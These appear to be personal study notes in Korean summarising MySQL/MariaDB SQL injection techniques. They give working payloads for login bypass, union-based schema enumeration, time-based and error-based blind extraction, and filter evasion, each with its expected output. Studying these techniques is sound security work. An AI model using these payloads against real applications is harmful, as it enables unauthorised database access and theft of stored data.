SQL Injection 정리

주석

#, --, /**/

Express string

select 0x6162; -> ab
select 0b110000101100010; -> ab
select char(0x61, 0x62); -> ab
select concat(char(0x61), char(0x62)); -> ab
select mid(@@version,12,1); -> n /* Using Gadget... */
select 'adm' 'in'; -> admin
select 'ad''min'; -> ad'min
select unhex(unhex(3631363236333634)); -> abcd

Useful Functions

1. string
    substring(), substr(), mid() # select mid('abcde', 2, 2); -> bc 
    left() # select left('abcde', 2); -> ab
    right() # select right('abcde', 2); -> de
    concat() # select concat('a','b','c'); -> abc
    group_concat() # select group_concat('a','b','c'); -> abc
    instr() # select instr('hi~~! hello!!!','hello'); -> 7
    length() # select length('hello!'); -> 6
    ascii() # select ascii('a'); -> 97
    lpad() # select lpad('admin',1,1)='a'; -> TRUE
    rpad() # select rpad('admin',1,1)='a'; -> True
    ord() # select ord('a'); -> 97
    hex() # select hex('a'); -> 0x61
    char() # select char(0x61); -> a
2. typecast
    convert() # select convert('admin',binary(1)); -> a
              # select convert('admin',binary(2)); -> ad
    cast() # select cast('admin' as char(1)); -> a
           # select cast('admin' as char(2)); -> ad
    weight_string() # ?
3. etc...
    version() # select version(); ->  5.7.31-0ubuntu0.16.04.1
    user() # select user(); -> user@localhost
    schema(), database() # select schema(); -> database_name
    sleep() # select sleep(3); -> 1 row in set (3.00 sec)

Basic SQL Injection

' or '1==1'#
' or 'a'='a'#
'||'1==1'#
1 and 1=1#
1 && 1=1#

Union SQL Injection

union select schema_name from information_schema.schemata;
union select table_name from information_schema.tables where table_schema="db_schema";
    or
union select table_name from information_schema.tables where table_schema=database();
union select column_name from information_schema.columns where table_name="table_name";

Time-based SQL Injection

select 'a'='a' and sleep(1); # 1 row in set (1.001 sec)
select 'a'='b' and sleep(1); # 1 row in set (0.000 sec)
select 'a'='a' and benchmark(10000000,md5('a')); // 1 row in set (3.017 sec)
select 'a'='b' and benchmark(10000000,md5('a')); // 1 row in set (1.565 sec)

Error-based : Data extraction with error message

select * from users union select foo(); # FUNCTION test.foo does not exist
select * from users where exp(~id); # DOUBLE value is out of range in 'exp(~`test`.`users`.`id`)'
select * from users where extractvalue(1, concat(0x3a,version())); # XPATH syntax error: ':10.4.6-MariaDB'
select * from users where updatexml(0,concat('$_',version()),0); # Unknown XPATH variable at: '$_10.4.6-MariaDB'
select * from users group by concat(version(),floor(rand(0)*2)) having min(0); # Duplicate entry '10.4.6-MariaDB1' for key 'group_key'
select * from (select * from users join users a)b; # Duplicate column name 'id'
select * from (select name_const(version(),1),name_const(version(),1))a; # Duplicate column name '10.4.6-MariaDB'
select * from users where id=1 and json_keys((select group_concat(concat_ws(0x3a,id,pw)) from users));
# group_concat이랑 같은 효과냄 (MySQL >= 5.7.8 using JSON_* functions)

select polygon((select * from(select name_const(version(),1))x));
# -> Illegal non geometric '(select `x`.`5.5.38-35.2` from (select NAME_CONST(version(),1) AS `5.5.38-35.2`) `x`)' value found during parsing

select ST_LatFromGeoHash(version()); # MySQL >= 5.7.5
# -> ERROR 1411 (HY000): Incorrect geohash value: '5.7.6-community' for function ST_LATFROMGEOHASH

select ST_LongFromGeoHash(version()); # MySQL >= 5.7.5
# -> ERROR 1411 (HY000): Incorrect geohash value: '5.7.6-community' for function ST_LONGFROMGEOHASH

select ST_PointFromGeoHash(version(),0); # MySQL >= 5.7.5
# -> ERROR 1411 (HY000): Incorrect geohash value: '5.7.6-community' for function st_pointfromgeohash

Error-based : Blind SQL Injection

# 서브 쿼리에서 2개 이상의 row를 리턴하면 에러가 발생하는 점을 이용해서 공격
select if('a'='b', 1, (select 1 union select 2)); # error -> Subquery returns more than 1 row
select if('a'='a', 1, (select 1 union select 2)); # ok
select case when 1=1 then (select 1 union select 2) else 1 end; # error
select case when 1=0 then (select 1 union select 2) else 1 end; # ok

# BIGINT overflow
select ~0+(select 'a'='a'); # error -> ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '~0 + ('a' = 'a')' 
select ~0+(select 'a'='b'); # ok

# cot함수 인자로 False가 들어가면 에러가 발생하는 것을 이용해서 공격
select cot(1=0); # error (DOUBLE value is out of range in 'cot(1 = 0)')
select cot(1=1); # ok

# order by 뒤에 숫자 늘리면서 에러로 컬럼수 파악
select * from users order by [컬럼 개수]; # 컬럼 개수 늘려가면서 에러로 개수 파악
select * from users order by 1; # ok
select * from users order by 2; # ok
select * from users order by 3; # error -> users 테이블의 컬럼 개수는 2개인 것.

select row([컬럼 개수]) > (select * from users limit 0,1); # [컬럼 개수]에 1,2,3 이런식으로 넣다가 컬럼 개수랑 맞으면 에러 안뜸

Filter Bypass

and, or 필터링 -> &&,||
문자열 필터링 -> 타 진법을 이용하여 우회 ex) admin-> admin -> 0x61646d696e
"=" 필터링 -> like, in, strcmp() 사용
공백 문자 필터링 -> %0a, %0b, %0c, %0d, %09
\' 필터링 -> 특수한 조건의 경우에만 우회 가능
    ex) select * from user where id='\' and pw=' or '1==1'#; - > True
where 필터링 -> JOIN ON 사용
ex) select group_concat(distinct b.column_name) from information_schema.columns as b join information_schema.tables as a on a.table_schema=database() and a.table_schema=b.table_schema;

References

https://blog.munsiwoo.kr/2019/12/mysql-injection-techniques/
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection